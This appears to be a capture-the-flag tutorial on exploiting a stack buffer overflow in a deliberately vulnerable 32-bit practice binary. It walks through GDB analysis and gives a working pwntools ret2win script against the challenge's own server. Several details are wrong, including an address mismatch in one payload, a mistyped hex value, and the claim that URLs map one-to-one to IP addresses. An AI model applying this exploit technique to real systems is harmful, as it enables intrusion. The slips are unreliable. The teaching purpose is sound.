win32

This binary is going to be the first introduction into a stack overflow. A **stack overflow** is the process of writing more bytes than are allocated, which causes you to (un)intentionally overwrite data. This vulnerability is caused when the size of the input is not checked, and the stack is not regulated. We will make these two checks before attempting the buffer overflow.

What is the red line in the instructions?

From the instructions, we see this line:

```
nc vunrotc.cole-ellis.com 1100
```

`nc` (aka netcat) is a protocol that lets a user connect to an IP address at a port. What does that even mean? Let's break it down:

- Every computer has an IP address. It's a unique *public* identifier for that computer.
- Every computer has a list of ports (ranging from 0-65535). These ports host various *services* that can be accessed by other computers. Websites using HTTPS are *served* on port 443. This means that when you access a website, under the hood, you are connecting to a remote computer on port 443.
    - The URL address is a type of mask for the IP address underneath. Every URL has a one-to-one correspondence to an IP address; we use URLS because they are easier to remember.
- The first 1024 ports are reserved for various services (like HTTPS, HTTP, SSH, etc.). The rest of the ports are available for custom setup and use.
- In this case, I set up the *same binary I provided in the challenge* to run on port 1100. When you connect to that port, you are connecting to the binary. When you pass your payload to the port, and it is executed, it properly finds my flag file and prints it. This means, I provided you source code to prepare your payload, and a server for you to execute your payload so I can hide the flag.

If you want to test this out, just run that netcat command in the terminal. You'll notice it prints the same output as running the `win32` binary.

Now let's move on to the binary.

Checking Security

Let's make the first security check using `checksec`.

```
[*] '/home/joybuzzer/Documents/vunrotc/live/00-introduction/win32/win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

The first, and probably most important thing, is that this is a **32-bit binary**. This means that when we pass parameters, we are going to pass them **on the stack**. The top of the stack when `call` is reached is the first parameter, second top is second parameter, etc.

We see that all protections are disabled. The most important check for the buffer overflow is that the *canary is disabled.*

Now, let's go into GDB and find where this function takes input. Inside `read_in`:

```
0x080491ec <+43>: call   0x8049050 <gets@plt>
```

We see that this program uses `gets` for input. the `man` pages says this about `gets`:

```
       gets()  reads a line from stdin into the buffer pointed
       to by s until either  a  terminating  newline  or  EOF,
       which  it  replaces  with a null byte ('\0').  No check
       for buffer overrun is performed (see BUGS below).
```

The most important thing about `gets` is that `gets` **does not check the size of the input**. This means that we can write as much as we want to the stack. This is the vulnerability that we are going to exploit.

Now that both vulnerability prerequisites have been checked, let's start figuring out how to execute the buffer overflow.

Disassembly

For this challenge, I am going to provide the source code to understand what is happening:

```
#include <stdio.h>

void win()
{
    system("cat flag.txt");
}

void read_in()
{
    char buffer[40];
    puts("Can you figure out how to win here?");
    fflush(stdout);
    gets(buffer);
}

int main()
{
    read_in();
    puts("You lose!");
```

```
    return 0;
}
```

Let's do our analysis in GDB assuming that we don't have the source code (because typically we won't) and just use it for explaining why things happen.

First we check the functions available:

```
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  __libc_start_main@plt
0x08049050  fflush@plt
0x08049060  gets@plt
0x08049070  puts@plt
0x08049080  system@plt
0x08049090  _start
0x080490d0  _dl_relocate_static_pie
0x080490e0  __x86.get_pc_thunk.bx
0x080490f0  deregister_tm_clones
0x08049130  register_tm_clones
0x08049170  __do_global_dtors_aux
0x080491a0  frame_dummy
0x080491a6  win
0x080491d1  read_in
0x0804921e  main
0x0804925e  __x86.get_pc_thunk.ax
0x08049264  _fini
```

The three functions that we are interested in are `win`, `read_in`, and `main`. `win` logically appears to be the target, so let's figure out what happens there:

```
gef➤  disas win
Dump of assembler code for function win:
   0x080491a6 <+0>: push   ebp
   0x080491a7 <+1>: mov    ebp,esp
   0x080491a9 <+3>: push   ebx
   0x080491aa <+4>: sub    esp,0x4
   0x080491ad <+7>: call   0x804925e <__x86.get_pc_thunk.ax>
   0x080491b2 <+12>:    add    eax,0x2e4e
   0x080491b7 <+17>:    sub    esp,0xc
   0x080491ba <+20>:    lea    edx,[eax-0x1ff8]
   0x080491c0 <+26>:    push   edx
   0x080491c1 <+27>:    mov    ebx,eax
   0x080491c3 <+29>:    call   0x8049080 <system@plt>
   0x080491c8 <+34>:    add    esp,0x10
   0x080491cb <+37>:    nop
```

```
   0x080491cc <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080491cf <+41>:    leave
   0x080491d0 <+42>:    ret
```

`win` makes a call to `system`, which the `man` pages says takes a `char*` (string) argument. We see from the source code this takes the argument *"cat flag.txt"* meaning that it opens the flag file and prints us its contents.

> *Why is the program doing this?* Since the program doesn't want to hardcode the flag, it stores it in a separate file (that isn't provided). This is a common technique to prevent people from just running `strings` on the binary to find the flag.

```
gef➤  disas main
Dump of assembler code for function main:
   0x0804921e <+0>: lea    ecx,[esp+0x4]
   0x08049222 <+4>: and    esp,0xfffffff0
   0x08049225 <+7>: push   DWORD PTR [ecx-0x4]
   0x08049228 <+10>:    push   ebp
   0x08049229 <+11>:    mov    ebp,esp
   0x0804922b <+13>:    push   ebx
   0x0804922c <+14>:    push   ecx
   0x0804922d <+15>:    call   0x80490e0 <__x86.get_pc_thunk.bx>
   0x08049232 <+20>:    add    ebx,0x2dce
   0x08049238 <+26>:    call   0x80491d1 <read_in>
   0x0804923d <+31>:    sub    esp,0xc
   0x08049240 <+34>:    lea    eax,[ebx-0x1fc4]
   0x08049246 <+40>:    push   eax
   0x08049247 <+41>:    call   0x8049070 <puts@plt>
   0x0804924c <+46>:    add    esp,0x10
   0x0804924f <+49>:    mov    eax,0x0
   0x08049254 <+54>:    lea    esp,[ebp-0x8]
   0x08049257 <+57>:    pop    ecx
   0x08049258 <+58>:    pop    ebx
   0x08049259 <+59>:    pop    ebp
   0x0804925a <+60>:    lea    esp,[ecx-0x4]
   0x0804925d <+63>:    ret
```

We see that `main` just appears to call `read_in` and then return. So, let's go check `read_in`:

```
Dump of assembler code for function read_in:
   0x080491d1 <+0>: push   ebp
   0x080491d2 <+1>: mov    ebp,esp
   0x080491d4 <+3>: push   ebx
   0x080491d5 <+4>: sub    esp,0x34
   0x080491d8 <+7>: call   0x80490e0 <__x86.get_pc_thunk.bx>
   0x080491dd <+12>:    add    ebx,0x2e23
   0x080491e3 <+18>:    sub    esp,0xc
   0x080491e6 <+21>:    lea    eax,[ebx-0x1fe8]
   0x080491ec <+27>:    push   eax
```

```
   0x080491ed <+28>:    call   0x8049070 <puts@plt>
   0x080491f2 <+33>:    add    esp,0x10
   0x080491f5 <+36>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080491fb <+42>:    mov    eax,DWORD PTR [eax]
   0x080491fd <+44>:    sub    esp,0xc
   0x08049200 <+47>:    push   eax
   0x08049201 <+48>:    call   0x8049050 <fflush@plt>
   0x08049206 <+53>:    add    esp,0x10
   0x08049209 <+56>:    sub    esp,0xc
   0x0804920c <+59>:    lea    eax,[ebp-0x30]
   0x0804920f <+62>:    push   eax
   0x08049210 <+63>:    call   0x8049060 <gets@plt>
   0x08049215 <+68>:    add    esp,0x10
   0x08049218 <+71>:    nop
   0x08049219 <+72>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804921c <+75>:    leave
   0x0804921d <+76>:    ret
```

We see that this is where `gets()` is called and where we are going to overflow the buffer. We also notice that `malloc()` has yet to be called, meaning that the data is not being placed on the heap.

To confirm this, we check what's being passed to `gets()`. Let's set a breakpoint right before the call to `gets()` and check:

```
gef➤  b *(read_in+63)
gef➤  run
gef➤  x/wx $esp
0xffffd600: 0xffffd618
```

`x/wx $esp` shows me the value on the top of the stack. In 32-bit, this is how we pass paramters. This means that `0xffffd618` is being passed as the parameter to `gets()`, which is the address of the buffer.

Something peculiar that we notice is that `0xffffd618` (the location we're writing to) is awfully close to the stack pointer (`0xffffd600`). I wonder, are we writing to the stack? The short answer is yes, but let's confirm. Run `info proc mappings` to check the bounds of the various memory segments:

```
0xfffdd000 0xffffe000    0x21000        0x0   rwxp   [stack]
```

We see that our stack is located between `0xfffdd000` and `0xffffe000`. Our buffer address is inside this range, meaning we are indeed writing to the stack.

What power do we have?

Remember earlier that I said that `gets()` does no bounds checking, meaning that we can write as many bytes as we want? There are some important things on the stack right now, let's go check them out.

```
gef➤  x/20wx $esp
0xffffd600: 0xffffd618  0x00000020  0x00000000  0x080491dd
0xffffd610: 0x00000000  0x00000000  0x01000000  0x0000000b
0xffffd620: 0xf7fc4540  0x00000000  0xf7c184be  0xf7e2a054
0xffffd630: 0xf7fbe4a0  0xf7fd6f80  0xf7c184be  0xf7fbe4a0
0xffffd640: 0xffffd680  0x0804c000  0xffffd658  0x0804923d
```

This looks like a lot of gibberish, but two numbers stand out in particular:

```
gef➤  x/wx 0xffffd60c
0xffffd60c: 0x080491dd
gef➤  x/wx 0xffffd64c
0xffffd64c: 0x0804923d
```

Why these two? The short answer is that the numbers were different! If we check `info proc mappings` again, we see:

```
0x8049000  0x804a000     0x1000     0x1000  r-xp   /home/joybuzzer/win32
```

This is *executable* memory located inside the `win32` file. This is the **code segment**. This means that these locations are addresses in the code. Let's check what's here:

```
gef➤  x/i 0x080491dd
   0x80491dd <read_in+12>:  add    ebx,0x2e23
gef➤  x/i 0x0804923d
   0x804923d <main+31>: sub    esp,0xc
```

We see that these both point to instructions. The first one points to somewhere at the top of `read_in`, and the second one back in `main`. The first one is actually our **base pointer** (aka `rbp`) and the second one is the **return pointer**.

Let's understand how this happened.

Stack Frame

When a function is called, the following happens:

1. The **return pointer** is pushed onto the stack. This is the address of the next instruction to execute after the function returns.
2. The code then goes to the location referenced in the `call` instruction.
3. The **base pointer** is pushed onto the stack. This is the address of the previous base pointer. We see that here in the code:

```
gef➤  disas read_in
Dump of assembler code for function read_in:
   0x080491d1 <+0>: push   ebp
   0x080491d2 <+1>: mov    ebp,esp
   0x080491d4 <+3>: push   ebx
   0x080491d5 <+4>: sub    esp,0x34
```

4. The stack pointer is moved to the base pointer. This is the new base pointer.
5. The stack pointer is moved down to make space for local variables.
6. The function is executed.

When the function returns, the following happens:

```
   0x08049215 <+68>:    add    esp,0x10
   0x08049218 <+71>:    nop
   0x08049219 <+72>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804921c <+75>:    leave
   0x0804921d <+76>:    ret
```

1. The stack pointer is moved to the base pointer.
2. The base pointer is popped off the stack.
3. The return pointer is popped off the stack and the code jumps to that location.

How do we leverage this?

- We know that the return pointer is at some location in memory. When we call `read_in`, we subtract from the stack pointer.
- We are going to write some number of bytes inside the space *that was just allocated* for the function.
- If we write enough bytes (because the program isn't checking), we can overwrite the return pointer that was placed on the satck.
- Without knowing any better, when the function terminates, it will go find where it stored the return pointer and go there. **It does not verify that the return pointer is a valid place in memory, or that it's the same one it stored originally, *it just goes there*.**

Let's make this happen.

Exploitation

We are still breakpointed at the call to `gets()`. Let's check the stack again:

```
gef➤  x/wx $esp
    0xffffd600: 0xffffd618
```

This is the address we are going to write to. As a reminder, this is where we found the return pointer:

```
gef➤  x/wx $esp+0x4c
    0xffffd64c: 0x0804923d
```

This means that in order to overwrite the return pointer, we need to write `0xffffd600` to `0xffffd64c`. How many bytes is this? Let's get some Python practice:

```
$ python3 -c "print(0xffffd64c-0xffffd600)"
52
```

This means that we need to write `52` bytes, and **then** we need to overwrite the return pointer. But where do we want to go? *The `win` function!* Let's get that address:

```
gef➤  info functions win
All functions matching regular expression "win":

Non-debugging symbols:
0x080491a6  win
```

Let's use Python to make this a payload:

```
$ python3 -c "print('A' * 52 + str(0x080491a6))"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517158
```

And what happens when we run this?

```
$ ./win32
Can you figure out how to win here?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517158
Segmentation fault (core dumped)
```

We... crashed. What does that mean? That means we either corrupted memory, or we tried to execute memory that we weren't allowed to. Let's retry this in GDB and watch execution:

```
[#0] Id 1, Name: "win32", stopped 0x35343331 in ?? (), reason: SINGLE STEP
```

It's saying that it reached the address `0x35343331` and stopped. What does this mean?

1. We now know that we control execution, and were able to successfully deviate execution to another spot in memory.

2. We didn't quite do it right, because we didn't get to the `win` function. We need to figure out what happened.

Let's dive deeper into what is happening here:

1. We notice that `0x353433331` is the hexadecimal of `5431`, which is the start of what's in the payload. We see it's backwards, because **the binary is written in little-endian architecture**.
2. We also notice that `134517158` is the hexadecimal of `080491a6`, which is the address of `win`.

How can we get the hexadecimal to appear correctly in the payload?

This is where pwntools comes in. Pwntools has a packaging function that allows for the packaging of data into the correct size and format. In 32-bit, this function is `p32()`. We modify the exploit to be:

```
$ python3 -c "from pwn import *; print(b'A' * 52 + p32(0x08049196))"

b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa6\x91\x04\x08'
```

However, this won't copy right. Thankfully, pwntools comes to save us again and gives us a way to send this payload to the binary. Consider the following exploit:

```
from pwn import *

proc = process('./win32')

padding = b'A' * 0x34

f_win = 0x080491a6

payload = p32(f_win)

buf = padding + payload
proc.sendline(buf)
proc.interactive()
```

Let's break this exploit down:

- `from pwn import *` -- This imports the pwntools library into the program, just like a `#include` in C-type languages.
- `proc = process('./win32')` -- This creates a process object that runs the `win32` binary.
- `padding = b'A' * 0x34` -- This creates a variable that is 52 bytes of `A` characters. Note that you could use any characters, but `A` (`0x41`) is a common choice.
- `f_win = 0x080491a6` -- This creates a variable that is the address of the `win` function. It's common to store your addresses as variables so it's easier to read.
- `payload = p32(f_win)` -- This creates a variable that is the address of the `win` function, but in the correct format for the binary.
- `buf = padding + payload` -- This is the final string that will get sent off to the process.

- `proc.sendline(buf)` -- This sends the payload to the process.
- `proc.interactive()` -- This allows us to interact with the process after the payload is sent.

Let's run this exploit:

```
$ python3 win32.py
[+] Starting local process './win32': pid 17532
[*] Switching to interactive mode
Can you figure out how to win here?
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './win32' stopped with exit code -11 (SIGSEGV) (pid 17532)
```

We see that `cat` gets called! That means our exploit worked, but since we're running locally, there is no `flag.txt` to find. Let's switch our process to target the remote server:

```
proc = remote('vunrotc.cole-ellis.com', 1100)
```

Now let's run this:

```
[+] Opening connection to vunrotc.cole-ellis.com on port 1100: Done
[*] Switching to interactive mode
Can you figure out how to win here?
flag{welcome_to_binex}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 1100
```

As we can see, the flag is printed!